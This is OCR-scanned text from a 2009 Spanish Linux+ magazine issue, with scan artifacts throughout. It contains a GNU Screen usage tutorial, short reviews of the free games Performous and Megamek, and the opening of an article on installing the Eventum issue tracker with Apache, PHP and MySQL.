Para hacer uso de GNU/Screen diremos
que, conceptualmente poseemos dos modos
con distintas funciones en nuestra terminal, al
mejor estilo Vim. Estos modos son:

*  Modo GNU/Screen,
*  Modo Terminal.

El “Modo GNU/Screen” es el que tenemos
que activar para poder introducir los coman-
dos propios de la aplicacion. Por el otro lado,
el “Modo Terminal” sera igual que cuando
utilizamos la consola sin tener debajo GNU/
Screen. Es decir, si en este modo introduci-
mos el comando Is actuar listando nuestros
archivos y/o directorios, tal cual como fun-
ciona siempre.

Cuando iniciamos GNU/Screen se
iniciara automéaticamente por defecto en el
“Modo Terminal”.

Como se menciond con anterioridad,
una de las caracteristicas principales de
GNU/Screen es ser un excelente multiplexa-
dor de terminales. Esto significa, poder uti-
lizar varios programas a la vez en una
misma instancia de terminal. Para poder
hacer uso de esta caracteristica, teniendo
ejecutado screen en nuestra terminal, proce-
demos a invocar al “Modo GNU/Screen”
mediante la combinacion de teclas Ctrl +
a, 0 sea, mientras apretamos la tecla Ctrl
sinsoltarla, pulsamos seguidamente latecla
a(notesequela‘“a”esminuscula). Ahora,po-
demos utilizar comandos propios de GNU/
Screen. Vale tener en cuenta que al introdu-
cir un comando especifico de GNU/Screen
automaticamente pasaremos al “Modo
Terminal”.

El comando de creacién de sesion, que
nos permitira la caracteristica de multiplexa-
do de terminales, es el comando c. Es decir,
para crear una sesion nueva emplearemos la
siguiente combinacion de teclas: Ctrl + a ¢
la cual significa “mantener apretada la tecla

Figura 1. GNU/Screen en Accion

Ctrlyluego, sinsoltarla, pulsar lateclaa. Se-
guidamente, pulsar la tecla c”.

Como notaal margen, vale aclarar que en
las paginas del manual de screen se usa la
convencién C-a en vez de Ctrl + a. Por cues-
tiones de claridad, creo que la segunda con-
vencion es la mas adecuada, por la cual sera
utilizada en todo el resto del artiiculo.

Seguramente, a estas alturas puede pa-
recer que no ha pasado nada nuevo, pero no
es asi. Con los pasos anteriores, has creado
una nueva sesion en GNU/Screen, la cual
se enumera como 1. En GNU/Screen, las
sesiones pueden ser identificadas mediante
un numero y/o una palabra. Cuando inicia-
mos la aplicacion, autométicamente nos
encontraremos en la sesién N°0.

Para poder listar las sesiones que tene-
mos abiertas en este momento, introduci-
mos Ctrl + a “. Seguramente, nos encontra-
remos con algo parecido a lo que muestra la
Figura 2. Como podemos ver, tenemos dos
sesiones iniciadas actualmente. La primera,
con identificador numérico 0 se llama shell,
y la segunda, con identificador numérico 1,
se llama bash.

Podemos seleccionar cualquierade ellas
moviéndonos por el menu con las flechas
de direccion del teclado y pulsando la tecla
ENTER, o bien, usando la convencion de
Vim, que es j para abajo y k para arriba. Una
vez seleccionada una sesién, ejecutaremos
un comando, por ejemplo, el famoso coman-
do top. Luego, podemos ejecutar otro pro-

Num Mame

g shell

Figura 2. Listado de Sesiones Actuales
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grama a la vez en la misma terminal, pero
obviamente en distinta sesion. Por ejemplo,
supongamos que nos interese tener top y nano
ejecutados al mismo tiempo.

Podemos pasar de una sesion a otra con
el comando Ctrl + a #, donde # indica el
identificador numérico de la sesion donde
queremos mostrar. Por ejemplo, si estamos
enlasesion 1y queremos pasar a lasesion 0,
utilizamos el comando Ctrl + a 0. Otra for-
ma de pasar de una sesion a otra es usar los
comandos Ctrl +apy Ctrl +an, que indican
la sesion previa (previous) y la siguiente
(next) . También, podemos dirigirnos a la
Ultima sesion utilizada mediante Ctrl + a
Ctrl + a.

De esta manera, podemos tener hasta 10
sesiones a la vez (0-9), ejecutando todos
comandos distintos. jExcelente!

Més sobre el Uso

de Sesiones

En el apartado anterior, aprendimos a ini-
ciar GNU/Screen y manipular basicamente
las sesiones que habiamos creado. Ahora,
aprenderemos algunos aspectos basicos
mas del uso de sesiones.

Renombrado de Sesiones. Suele pasar
que al estar trabajando bajo el mando de
GNU/Screen con bastantes sesiones, empe-
cemos a dudar en cuél sesion se encuentra
el programa que queremos utilizar. Para ello,
podemos asignarle un nombre alfanumérico
a la sesion, aparte del identificador numéri-

Ctrl
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co que viene por defecto. Simplemente nos
situaremos en la sesion que queremos renom-
brar e invocando al comando Ctrl + a A, nos
aparecera el cursor debajo de la pantalla en
donde podremos ingresar un nombre para la
sesion. De esta forma, cuando listemos las se-
siones mediante el comando Ctrl + a ", obten-
dremos algo parecido a los que muestra la Fi-
gura 3. Como comentario adicional, el listado
de sesiones también podemos visualizarlos
mediante Ctrl +a w, con la salvedad que solo
es un listado visual, es decir, mediante este
comando solamente podemos contemplar las
sesiones abiertas, pero no podremos cambiar
de sesion. En conclusion, mediante el renom-
brado de sesiones se disuelve la problemética
de no poder ubicar de manera rapida el pro-
grama que queremos utilizar.

Eliminado de Sesiones. En determina-
das ocasiones puede suceder también que
queramos deshacernos de una sesi6n en
particular que ya no utilizamos. Para ello,
podremos eliminarla o "matarla”, como
suele decirse en la jerga, mediante el co-
mando Ctrl + a k. Obviamente, de antemano
tendremos que estar situados en la sesién que
queremos eliminar. Como precaucién, GNU/
Screen nos advertird mediante un mensaje
que vamos a eliminar una sesioén. Una vez
confirmada esta advertencia, la sesion des-
aparecerd. Vale la pena aclarar que GNU/
Screen no reubica automaticamente el iden-
tificador numérico de las sesiones que siguen
activas.

PR NI
a

1556

Nuévo Bufer

VIRT RES S5SHR 5 SCPU SMEH
R 1.8 4.2 1

g R

Es decir, supongamos que tenemos tres
sesiones con los siguientes aplicativos:

0 - mutt
1 - vim

2 - mp3blaster

Ahora, supongamos que nos situamos en la
sesion 1 (vim) y la eliminamos, mediante el
comando Ctrl + a k. Nuestro panorama ac-
tual, quedara como se muestra a continua-
cion:

0 - mutt
2 - mp3blaster

Notese que el identificador numérico de la
sesion de vim ha desaparecido. Es decir, no
se reubicd a la sesion de mp3blaster con el
identificador 1. Esta caracteristica de GNU/
Screen es muy Util ya que si al eliminar/
agregar una sesion se reubicaran los identi-
ficadores numéricos, seria extremadamente
dificil poder acordarse en cual sesion se
encuentra cada programa, y las verdade-
ras virtudes de esta herramienta se verian
eclipsadas.

Realizando Split de Ventanas
GNUJ/Screen nos brinda la caracteristica de
poder dividir la pantalla actual en una o mas
subventanas, donde se muestren otras sesio-
nes distintas, para poder interactuar entre
ellas con una simple pulsacion de teclas.

TIME= COMHMAND

gnone
B4 pdflush

Modificado

Figura 4. El comando top y el editor de textos nano, visualizados paralelamente mediante split
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Datos Basicos

» Desarrollador: Proyecto GNU,
» Paquete repositorios: screen,
+ Comando: screen,
*  Género: Multiplexador
de Terminales,
» Licencia: Libre (GPL),
* En castellano: No,
»  Sitio Web: http://www.gnu.org/
software/screen/.

Para realizar este "split" de sesiones,
nos situaremos sobre una sesién cualquiera
e invocaremos al comando Ctrl +aS. Enun
principio, la subsesion creada no contendra
nada dentro, y es por ello que simplemen-
te veremos un cuadro vacio. Para poder
mostrar una sesion dentro de nuestra nueva
ventana, nos situamos sobre ella median-
te el comando Ctrl + a Ctrl + i (o Cntrl +
a TAB) y luego, de la manera convencional
Illamamos a una sesién en particular. Por
ejemplo, mediante Ctrl + a 2.

De esta forma, tendremos dos sesiones
a la vista. Vale aclarar que si queremos des-
hacernos del split de sesiones, simplemente
nos situamos sobre la sesién que queremos
mantener en vista e introducimos el co-
mando Ctrl + a Q. Si tenemos més de dos
sesiones en split y s6lo queremos eliminar
una sesion, lo haremos mediante el coman-
do Ctrl +a X.

También, podemos modificar el drea de
visualizacién de cada sesién. Mediante Ctrl
+ a + agrandamos el area de la sesién ac-
tual, en contraparte del comando Ctrl + a -,
el cual nos disminuira el area de la sesién
activa.

En la Figura 4 podemos ver al comando
top y al editor de texto nano visualizandose
en conjunto mediante el split de sesiones de
GNU/Screen.

D

jAtencion!

Como todo buen usuario de GNU/Linux
sabe, la mayoria de las aplicaciones son
‘case sensitive', es decir, cambian su sig-
nificado de comando segun la tecla em-
pleada sea en mayusculas o en minus-
culas. GNU/Screen no hace excepcion
a esta regla. Es por ello que hay que
tener mucho cuidado y saber en qué
estado se encuentra nuestra tecla Blog
Mayus.
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Una caracteristica, maltiples
comandos...

Podemos darnos cuenta faciimente de
las casi infinitas alternativas que tiene
GNU/Screen en lo que se refiere a intro-
ducir comandos. Pudimos comprobarlo
facilmente, por ejemplo, cuando quere-
mos desplazarnos de una sesion a otra.
Para realizar esta accién tenemos mas
de 4 alternativas presentadas en este
articulo. Otra alternativa mas que no se
presentd antes para realizar la misma
accion es que, mediante el Comando
Ctrl + a ESPACIO se mueve a la seccion
siguiente, y Ctrl + a BACKSPACE se
mueve a la seccion anterior. En con-
clusion, tenemos mas de 6 comandos
distintos para realizar la misma accion:
Desplazarse de una sesion a otra.

Esto hace que GNU/Screen sea su-
mamente versatil y se adapte a las como-
didades de los usuarios que,obviamente,
no son todas iguales.

Bloquear GNU/Screen

Si nos ausentamos de nuestra computadora
por algun tiempo considerable y queremos
asegurarnos que nadie modifique nuestro
trabajo, podemos bloguear por contrasefia
todas nuestras sesiones. Podemos utilizar el
password de nuestro usuario, o bien, gene-
rar uno en particular de GNU/Screen. Para
el primer caso solamente basta con invocar
el comando Ctrl + a x. Automéaticamente, se
nos aparecera una pantalla como se muestra
en la Figura 5, donde tendremos que intro-
ducir la contrasefia de nuestro usuario para
poder desbloquearla.

Por otra parte, si queremos ponerle
un password en particular mas nuestro
password de usuario, tendremos que in-
vocar al “Modo de Comandos Internos”
de GNU/Screen. Esto se realiza mediante
Ctrl + a :, donde nos aparecera un prompt
en la parte inferior de la pantalla en el cual
podremos introducir comandos internos
de GNU/Screen. El comando que introdu-
ciremos ahora serd el comando password.
Una vez introducido este comando, se nos
pedird asignar una contrasefia particular de
GNU/Screen. Esta contrasefia serd utiliza-
da cuando queramos desbloquear la pan-
talla.

Vale aclarar que el password particular
desaparece cuando GNU/Screen finaliza.

Uso del Buffer. Copiar

y Pegar Texto entre Sesiones
Otra de las tantas caracteristicas particulares
de GNU/Screen es la capacidad que tiene él
mismo de poder seleccionar y copiar el texto
que se encuentra en una determinada sesion
para luego, por ejemplo, poder utilizarlo en
otra. Los Comandos que entran en accion para
realizar esto son:

e Ctrla+ [ :Inicia el "Modo Copiar"

e Tecla Espaciadora: Inicia "Modo Selec-
cion”

e Tecla ENTER: Copia el texto seleccio-
nado al Buffer

e Ctrl a+]: Pega el Texto almacenado en
el Buffer

Veamos un ejemplo practico para entender
mejor cdmo funciona. Supongamos que
tenemos dos sesiones de GNU/Screen, una
ejecutando el editor de textos nano y en la
otra, con la pagina del manual de GNU/
Screen (man screen). Ahora bien, nuestro
objetivo es copiar la sinopsis de la pagina
del manual de GNU/Screen en nuestro
editor de texto nano, para luego realizar
alguna tarea que no serd relevante para la
demostracion de este ejemplo. En primer
lugar, nos situamos sobre la sesién donde
se encuentra la pagina man. Luego, inicia-
mos el "Modo Copiar" de GNU/Screen
mediante el comando Ctrl + a [. Solamente
notaremos un mensaje en la parte inferior
de la pantalla el el cual se nos informa que
estamos en el modo copiar. Ahora, me-
diante las teclas de direccion del teclado,
podemos "navegar" por el texto de la pagi-
na del manual. Nos situamos en la seccién
de Sinopsis y apretamos al Tecla Espacia-
dora. En este momento, si apretamos las
teclas de direccion del teclado, veremos
como se selecciona el texto que queramos.
Por ultimo, una vez seleccionado todo el
texto de la sinopsis, apretamos la Tecla
ENTER para que el texto se alamacene en
el buffer interno de GNU/Screen. Veremos
en la parte inferior de la pantalla un cartel
informandonos cuantos caracteres han
sido almacenados en el buffer. En este
momento, automaticamente GNU/Screen
finaliza el "Modo Copiar".

screen used by Jorge C

Fa&awuru:ﬂ

Figura 5. Blogueo de GNU/Screen
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Bloqueo de Teclado

Es muy comun que nos pueda suceder
gue, cuando estemos haciendo un "split"
de sesiones, en vez de introducir el Co-
mando Ctrl + a S, utilicemos Ctrl + a s, es
decir, la "s" en minuscula. Esto provoca-
ra que GNU/Screen bloquee la Entrada
Estandar, como si se hubiese congelado
la aplicacion. Esta situacion podemos
solucionarla mediante el Comando [Ctrl]

+[aq].

Ahora pegaremos el texto que se en-
cuentra en nuestro buffer dentro del editor
de texto nano. Para ello, nos dirigimos
a la sesion donde se encuentra en espera el
editor de texto nano y una vez alli, simple-
mente invocamos al comando Ctrl + a ].
Veremos como se ha copiado perfectamen-
te la sinopsis de la pagina man a nuestro
editor de textos. En la Figura 6 aprecia-
mos el resultado de nuestro ejercicio prac-
tico.

Sin duda, a esta caracteristica de GNU/
Screen podemos sacarle mucho jugo.

Salvar un Registro

de Actividad

Si deseamos por alguna razén en particular,
ya sea por control o para poder visualizar
mas comodamente el scroll de la pantalla,
grabar en un archivo la salida que muestra
la actividad realizada GNU/Screen, es posi-
ble. Para activar esta caracteristica tenemos
que usar el comando Ctrl + a h. Una vez
invocado este comando, se generara un
registro denominado hardcopy.N, donde N
es el identificador numérico de sesion, en el
directorio donde se encuentra nuestro pro-
mpt.

Luego, mediante algin comando de
visualizacién como cat o view, podemos
revisar nuestro archivo de log y manipular-
lo a nuestro gusto.

Sin duda el volcado de salida en un
archivo es una caracteristica que brinda
GNU/Screen muy Util para algunos usua-
rios, y no tanto para otros.

rg = J capurr o>,
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¢Facebook y GNU/Screen?

Como todos sabemos, el fendmeno de
las Redes Sociales en Internet hace
furorentre los internautas... Y GNU/
Screen no hace la excepcion. Si, GNU/
Screen es parte Facebook. Siqueremos
asociarnos al Grupo y “ser fanaticos”
de GNU/Screen podemos hacerlo en
este enlace: http://www.facebook.com/
pages/GNU-Screen/.

Dentro de este grupo, podremos
ver tips y usos de GNU/Screen, como
también, sus actualizaciones y nuevas
caracteristicas.

Monitorizacion por Silencio

0 Actividad

GNUY/Screen posee una importante carac-
teristica de mucha utilidad. Esta vez, GNU/
Screen nos brindara laposibilidad de moni-
torear actividades segun el estado de un
proceso, es decir, si éste se ha activado
0, por el contrario, ha finalizado. Por ejem-
plo, supongamos que tenemos varias se-
siones, donde una de ellas se encuentra
compilando un programa de gran magni-
tud, el cual demanda un tiempo considerab-
le. En paralelo, mientras tanto, podemos
estar en alguna sesion modificando algin
archivo de configuracion, por decir alguna
tarea. Si deseamos que GNU/Screen nos
“avise” cuando el proceso de compilado
haya finalizado sin estar visualizando no-
sotros la sesion donde ocurre esta activi-
dad, podemos poner dicho proceso a que
sea Monitoreado por Silencio. En contras-
te, si queremos que GNU/Screen nos avise

cuando ha sucedido alguna actividad en
una determinada sesion, podemos poner la
misma a que sea Monitoreado por Acti-
vidad.

En resumen, la Monitorizacion por Si-
lencio es Util para saber cuando un proce-
so ha terminado de realizar algun tipo de
tarea, en nuestro ejemplo, la compilacion.
Por Gltimo, la Monitorizacién por Acti-
vidad es Util para saber cuando la sesion
comienza a realizar alguna tarea.

La Monitorizacion por Silencio se acti-
va mediante el comando Ctrl +a_ y la Mo-
nitorizacion por Actividad con el comando
Ctrl + a M. Estos modos se activan por 30
segundos.

Attached y Detached
de Sesiones
Otra de las caracteristicas destacadas de
GNU/Screen es la de poder Prender (Atta-
ched) y Desprender (Detached) Sesiones.
Esto significa que, por ejemplo, podemos
estar en el trabajo trabajando bajo el man-
do de GNU/Screen y “desprender” la se-
sién, para que luego al llegar a casa “pren-
derla” nuevamente para seguir trabajando,
tal cual como habiamos dejado todo.
Entonces, (Cdmo podemos despren-
der una Sesidn? Facil. Mediante el coman-
do Ctrl + a d, desprenderemos la sesién
actual. Luego, podemos volver a prenderla
con el argumento -r al iniciar GNU/Screen,
es decir, con el comando screen -r. Tam-
bién, podemos ver un listado de las sesio-
nes desprendidas mediante screen -list. Si
tenemos varias instancias de GNU/Screen
con sesiones “desprendidas”, debemos in-
troducir el comando screen -r NumDeSe-

GMU nano 2.8.2

Nuevo Bafer

Modificado

Figura 6. Resultado de nuestro ejercicio “Copiar y Pegar”
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sion, donde NumDeSesion es el Identifica-
dor de Sesidn de cuatro digitos que mues-
tra el comando screen -list.

Conclusion
Como pudimos apreciar en este articulo,
GNUY/Screen posee muchisimas caracteris-
ticas de interés para muchos tipos de usua-
rios. Sin duda, la caracteristica por exce-
lencia es la de poder Multiplexar termina-
les y asi, poder operar distintos procesos
a la vez en la misma terminal. Si bien las
caracteristicas presentadas aqui son las mas
comunes y utilizadas por los usuarios de
GNUY/Screen, no son todas las que esta ma-
ravillosa herramienta posee. Si desea ap-
render mas a fondo sobre GNU/Screen,
puede visitar su Web Site oficial en: http://
www.gnu.org/software/screen/screen.html
o bien, revisando localmente su pagina
del manual (man screen).

Espero que les haya sido de interés
y puedan empezar a utilizar esta herra-
mienta en su trabajo diario con la Consola
yaque, en definitiva, ese esel objetivo. Co-
mo siempre, cualquier consulta o comen-
tario, no duden en escribirme a jorge.capu-
rro@linuxmail.org que ser&n bien recibi-
dos jHasta la Proximal &

D
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JUEQOS  seccion llevada por Francisco J. Carazo Gil

Performous

L a seccion de este mes comienza con un género de juego muy
reciente. El creador del género, como género de videojuegos
comerciales, fue SingStar. El juego, desarrollado para la plataforma
Play Station 2 por SCEE y London Studio, supuso todo un éxito. La
idea era exportar el tan conocido karaoke a ambientes domésticos
a través de un juego que ademas de permitirnos cantar con amigos
era capaz de puntuar nuestra actuacion, basandose en nuestra ento-
nacion respecto a los tonos propios de cada cancion.

Podriamos decir que fue uno de los primeros exponentes del
juego “entre amigos” domeéstico que se ha popularizado posterior-
mente con otros titulos como Eye Toy y sobre todo, a través de la
maés que exitosa plataforma de Nintendo, Wii. Como no podria ser
de otro modo han salido réplicas libres al titulo comercial y Per-
formous es una de ellas. La otra alternativa, mas conocida y experi-
mentada, tanto en tiempo como en variantes es UltraStar (en reali-
dad es una familia de juegos libres que han derivado unos de otros:
UltraStar, UltraStar Deluxe, UltraStrar NG...). En esta misma sec-
cién hemos hablado de ellos en meses anteriores. De hecho, Perfor-
mous es la evolucion de UltaStar NG, por lo que los parecidos y si-
militudes con la saga UltraStar son evidentes.

to keep 'tﬁ_.__m & -live’ss
it’'s-the eye of thieBti - Eir:r

Figura 1. Performous

Performous es otro clon de SingStar con otras caracteristicas
y mejoras respecto de UltraStar. La primera caracteristica a destacar
es la posibilidad de usar tanto las canciones de UltraStar como las de
SingStar, por lo que el catalogo de posibles canciones “jugables” esta
muy bien nutrido. Ademés de las canciones comerciales, existe un
grupo de canciones libres preparados para el juego. Siempre es bueno
aprovechar las canciones con licencias al estilo CreativeCommons,
tanto por motivos “morales” (ayudar a todo lo que sea software libre
y producciones artisticas libres) y econémicos.

Puesto que Performous es un proyecto muy activo en la ac-
tualidad, podréis encontrar las novedades del mismo conforme
se vaya implementando en su portal web. Su instalacion es muy
simple. Existen paquetes precompilados para Ubuntu, OpenSUSE
y ArchLinux. Debian y Ubuntu en su préxima version, lo incluyen
en los repositorios oficiales. En cualquier otra distribucion podréis
adaptar los paquetes que estan disponibles para descarga para poder
instalarla sin problemas.

http://performous.org/
LiINUX+

jugabilidad N/A
graficos N/A
sonido N/A

Megamek

lo mejor os suena algo el nombre de BattleTech. Aqui en Espa-

fia no es tan famoso pero en Estados Unidos es una marca muy
conocida relacionada con la ciencia ficcion. De manera similar a “El
Sefior de los Anillos”, guardando las distancias, claro esta; en Battle
Tech estan basados varios videojuegos, un juego de cartas colecciona-
bles (al estilo Magic), una numerosa serie de novelas de ciencia ficcion
y también una serie de dibujos animados para los mas pequefios. Como
podéis ver, es una marca muy conocida y tiene un mundo alrededor de
aficionados de varias generaciones.

El segundo juego de la seccidn este mes es Megamek y estd muy
relacionado con este mundo. Podriamos decir que es el clon oficial de
un juego de accién basado en BattleTech al que afiade el hecho de ser
jugado en linea.

Con unos graficos bidimensionales simples pero suficientes, Mega-
mek hard las delicias de todos los fans de BattleTech y resultard muy
adictivo a todos los que ni siquiera lo conozcan. El juego tampoco
dispone de musica, pero seguro que eso no es problema para vosotros.

El mundo de Megamek se divida en celdas hexagonales y el
procedimiento de juego aproximado es el siguiente. Antes de que la
batalla empiece, jugador a jugador eligen qué “mecha”va a utilizar,

o are E
— I e e
e
=y

Figura 2. Megamek

(también hay disponibles vehiculos y unidades de infanteria). A todas
las unidades se les asigna un valor de batalla o BattleValue (BV). De
esta forma se consigue equilibrar las batallas, comparando la suma
total de todos los BV de cada ejército. Una vez esta todo preparado la
batalla comienza.

El primer paso es colocar nuestras unidades. A partir de aqui, co-
mienzan a pasar las rondas. Cada ronda tiene tres fases: movimiento
de unidades, disparo y combate. Cada jugador decide sus 6rdenes para
cada fase. Los posibles sucesos a partir de aqui los dejo para vosotros,
para que los comprobéis en persona con el juego. Lo que si os puedo
asegurar es que hara las delicias de los aficionados a la estrategia.

http://megamek.sourceforge.net/

LiNUX+

jugabilidad * *
graficos *  *
sonido N/A
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Eventum

linux@software.com.pl

Sistemas de gestion
de incidencias:
Eventum

José B. Alés Alquézar
La gestion de incidencias derivadas de la actividad normal de una empresa de servicios es una

de las actividades méas importantes y criticas de cara a evaluar no solamente su nivel de servicio,
sino el grado de satisfaccion de usuarios o clientes del mismo. En este sentido, la informatizacion
de los Centros de Atencion al Cliente suele ser uno de los temas méas importantes a los que hacer
frente, especialmente de cara a la obtencion de indicadores de rendimiento, que en la terminologia
especializada, se denominan KPI o Key Performance Indexes.

n este sentido, y derivado de las herramien-

tas de bug-tracking como Bugzilla, aparece

el producto Eventum, que serda el objeto de

este articulo como una solucién prometedo-
ra para proveer de una solucion de bajo coste no solo
para la gestion de Centros de Atencidn al Cliente, sino
también para la direccion y administracion de grupos de
trabajo y asignacion de tareas.

Introduccion

Inserto en la filosofia de aplicaciones LAMP, Even-
tum es un sistema de gestion de incidencias dotado de
una interfaz web y que utiliza como back-end una ba-
se de datos relacional MySQL que puede ser utilizado
por departamentos y grupos dedicados a proporcionar
asistencia técnica a clientes y usuarios de cara a pro-
veer un seguimiento detallado de las mismas, asi como
la generacion automatica de informes de seguimiento
de éstas. Debido a su arquitectura, Eventum se presta
a la integracion con otros productos LAMP, permi-

Linux+ 11/2009

En este articulo aprenderas ...

Instalacién y configuracion de aplicaciones
LAMP,

Configuracién del sistema de gestion de
incidencias Eventum,

« Adaptacion de los sistemas de gestion de
incidencias a casos practicos,
Programacion de flujos de trabajo
en Eventum.

tiendo optimizar tanto costes como infraestructura
requerida.

Finalmente, Eventum forma parte de una familia de
herramientas destinada a la Gestion de Ciclo de Vida
de Aplicaciones o Application Lifecycle Management
(ALM), de las cuales, podemos encontrar un listado comp
leto en http://www.software-pointers.com/en-defecttrac-
king-tools.html.
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Lo que deberias saber ...

* Nociones basicas de la gestiéon
empresarial de incidencias,

» Conocimientos basicos del lenguaje
PHP,

» Instalacion, configuracion
y administracion de servidores
RDBMS MySQL,

»  Configuracién de servidores
HTTP Apache 2.x.

Requisitos previos

Eventum es una aplicacion dentro de la
categoria server-side, accesible a través de
cualquier cliente HTTP compatible con las
especificaciones W3C como MSIE 7.0, Mo-
zilla u otros y que podemos enmarcar dentro
del paradigma LAMP; esto es, soluciones
que incorporan sistemas GNU/Linux junto
con Apache, MySQL y PHP como front-end,
back-end y légica de programacion, respec-
tivamente.

Configuracién de las extensiones

a PHPS

De cara a habilitar el soporte de graficos me-
diante las librerias GD de Boutell, asi como la
conectividad con servidores de bases de datos
MySQL es necesaria la instalacién de los
paquetes php-gd y php-mysgl. En sistemas
GNU/Linux basados en paquetes RPM, yum
proporciona una forma inmediata de realizar
esta instalacion:

Login - Eventum - Mazilla Firefox

Ele  Edit Wew Higtory Bockrnarks Tools  Help
-2

[E] Login - Eventum 3 |1 Page Load Eror

Emal Addiesy

Passwnrd

Done

i [=] hetps:tocahostieventum/ w | Gl L]
B Most Visited ~  SSmart Bookrnarks ~ ) Releate Notes B Fedora Project - i fed Hae ~ = |

@ Disable v 5 Codlies + C55 ~ |Forma ~ M Images ~  ( nformakicn

Eventum - Login
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Listado 1. Configuracién soporte multi-byte para PHP

;5 Enable output character encoding conversion for all PHP pages

;5 Enable Output Buffering
output_buffering = 0n

;5 Set mb_output_handler to enable output conversion
output_handler = mb_output_handler

;; Disable HTTP Input conversion
mbstring.http_input = pass

;; Disable HTTP Input conversion (PHP 4.3.0 or higher)
mbstring.encoding_translation = Off

# yum install php-gd Por otro lado, uno de los aspectos fre-
cuentemente descuidados en la instalacion
de bases de datos consiste en la habilitacion
de soporte para juegos de caracteres distintos
del tradicional US7ASCII, lo que se conoce
como extensiones de cadenas multibyte. Para
ello, es preciso la instalacion del paquete
php-mbstring, de forma similar a como se ha
procedido anteriormente.

Unicamente debemos asegurarnos que el

Package Arch Version

Repository Size

Installing:

php-gd i386 fichero /etc/php.ini incluya una entrada
5.2.9-2_fc9 updates-newkey de la forma:

120 k

Installing for dependencies: extension=mbstring.so

tilib 1386 5.1.2-

2_fc9 fedora de cara a proceder a la carga dinamica de

197 k dicho médulo, necesario para habilitar las
# yum install php-mysqgl caracteristicas NLS que deseemos estable-
cer para la base de datos que sera utilizada
1 por Eventum como back-end. De cara a fa-
| cilitar esta labor, es posible también incor-
porar las entradas detalladas en el Listado

1 en el fichero php.ini mediante un editor
MECSIaTAON Y. D""ﬁ de textos.

En el caso de que PHP sea utilizado co-
mo modulo DSO de Apache, es posible defi-
nir estas caracteristicas para cada host virtual
en el fichero de configuracion httpd.conf 0
bien, para cada directorio mediante los fiche-
ros .htaccess.

Instalacion MySQL

La instalacion por defecto de la base de

140 i e ek et

datos relacional MySQL presenta grandes
agujeros de seguridad, por lo que antes de
poner en produccion un servidor MySQL es
altamente recomendable ejecutar el proce-
dimiento de securitizacion proporcionado

localhost gy &

Figura 1. Acceso a la aplicacion Eventum

por el script mysql_secure_instal-
lation.

www.lpmagazine.org
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Listado 2. Configuracién segura del servidor de base de datos MySQL

c20395@laertes:~$ mysql_secure_installation

NOTE: RUNNING ALL PARTS OF THIS SCRIPT IS RECOMMENDED
FOR ALL MySQL
SERVERS IN PRODUCTION USE!
PLEASE READ EACH STEP CAREFULLY!

In order to log into MySQL to secure it,
we"ll need the current

password for the root user.

IT you"ve just installed MySQL, and

you haven"t set the root password yet,
the password will be blank,

so you should just press enter here.

Enter current password for root (enter for none):
OK, successfully used password, moving on...

Setting the root password ensures that nobody
can log into the MySQL
root user without the proper authorisation.

Set root password? [Y/n] Y
New password:

Remove anonymous users? [Y/n] Y
. Success!

Normally, root should only be allowed

to connect from "localhost®. This

ensures that someone cannot guess at the root
password from the network.

Disallow root login remotely? [Y/n]

emove test database and access to it? [Y/n] n

.. skipping.

Reloading the privilege tables will ensure that all

changes made so far will take effect immediately.

Reload privilege tables now? [Y/n] Y

.. Success!

Cleaning up-.-.

All done! If you®"ve completed all of the above steps,
your MySQL

installation should now be secure.

Thanks for using MySQL!

Linux+ 11/2009

Arrancar el servidor MySQL. En distri-
buciones basadas en el sistema de paquetes
RPM, el proceso es muy sencillo:

[root@laertes ~]# /etc/init.d/mysqld
start

Starting MySQL:

[ ok 1]

Como puede comprobarse, como todo servi-
dor, el EUID de los procesos asociados debe
ser un usuario especifico con los privilegios
minimos para ejecutar su mision:

[root@laertes ~]#
ps -u mysql -f
uID PID PPID C STIME TTY
TIME CMD
mysql 4096
1 0 00:08 pts/1
00:00:00 /bin/sh
/usr/bin/mysqld_safe --d
mysql
4144 4096
0 00:08 pts/1
00:00:00 Zusr/libexec/
mysqld --basedir=/u

o, alternativamente:

[root@laertes ~]# mysqgladmin ping
mysqgld is alive

Ejecutar el script mysql_secure_instal la-
tion de cara a satisfacer al menos los si-
guientes requisitos:

*  Clave de superusuario MySQL no nula,

*  Desactivacion de usuarios MySQL ano-
nimos,

»  Eliminacion de las bases de datos inne-
cesarias,

e Actualizacion de las tablas de privilegios
tal y como se indica en el Listado 2.

De este modo, puede iniciarse ya una conexion
local contra el servidor MySQL con unas
minimas garantias de seguridad al respecto
y puede procederse a la creacion de una base
de datos dedicada a almacenar toda la infor-
macion recopilada por el gestor de incidencias
Eventum siguiendo los pasos detallados en
el Listado 3. Estas consideraciones son gene-
rales para cualquier otro producto o aplica-
cién que utilice como repositorio una base
de datos MySQL.
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Instalacién y configuracién del servidor
Apache

Por defecto, se considerara una instalacion
estandar en la que el directorio raiz de los
ficheros servidos se encuentra en:
DocumentRoot /var/www/html
Resulta asimismo conveniente contar con el
soporte SSL mediante la utilizacion del mo-
dulo autocargable mod_ssl.so. Por defecto,
la carga se efectlia directamente en la mayor
parte de las distribuciones.

Respecto a consideraciones de seguridad,
conviene vigilar si las extensiones de seguri-
dad SELinux se encuentran activadas. La
alternativa mas rapida pasa por su comple-
ta desactivacion asi como la apertura en el
cortafuegos de las reglas que permiten el
acceso a los puertos 80/tcp y 443/tcp para
el trafico HTTP convencional y HTTP/S,
respectivamente. Para ello, el comando ip-
tables nos permite realizar la oportuna veri-
ficacion.

# iptables -L | grep http

ACCEPT tcp -- anywhere
anywhere state NEW tcp
dpt:http

ACCEPT tcp -- anywhere
anywhere state NEW tcp
dpt:https

Una vez abiertos ambos puertos, el acceso
a la aplicacion Eventum, servida por Apache,
es posible desde puestos remotos, por lo que
se recomienda no abrir los accesos remotos
en tanto no se haya concluido la configura-
cion de la aplicacion.

Para proceder al despliegue inicial de la
aplicacién Eventum, unicamente son necesa-
rios los siguientes pasos:

*  Crear bajo el directorio definido por la
variable DocumentRoot en el fichero de
configuracion httpd.conf el directorio
eventum en el que se descomprimira el
codigo fuente eventum-2.2_tar.gz.

# cd /var/www/html && mkdir
eventum
# tar xvfz eventum-2.2_tar.gz

e Arrancar el servidor Apache mediante la
utilidad apachectl tal y como se indica
a continuacion:

# apachectl start

Es preciso tener en cuenta en lo referente
a consideraciones de seguridad si el sistema

utilizado tiene habilitado SELinux, lo que
probablemente impedira la ejecuciéon de
server-side includes y CGI o la utilizacion
de reglas de cortafuegos definidas mediante
iptables, situacion comun en configuraciones
GNU/Linux por defecto.

El sistema de gestion

de incidencias Eventum

Una vez realizada la instalacion de los com-
ponentes necesarios para la utilizacién de
Eventum, llega el momento de proceder a su
configuracion inicial. Para ello, es preciso
acceder a la URL en la cual se ha instalado
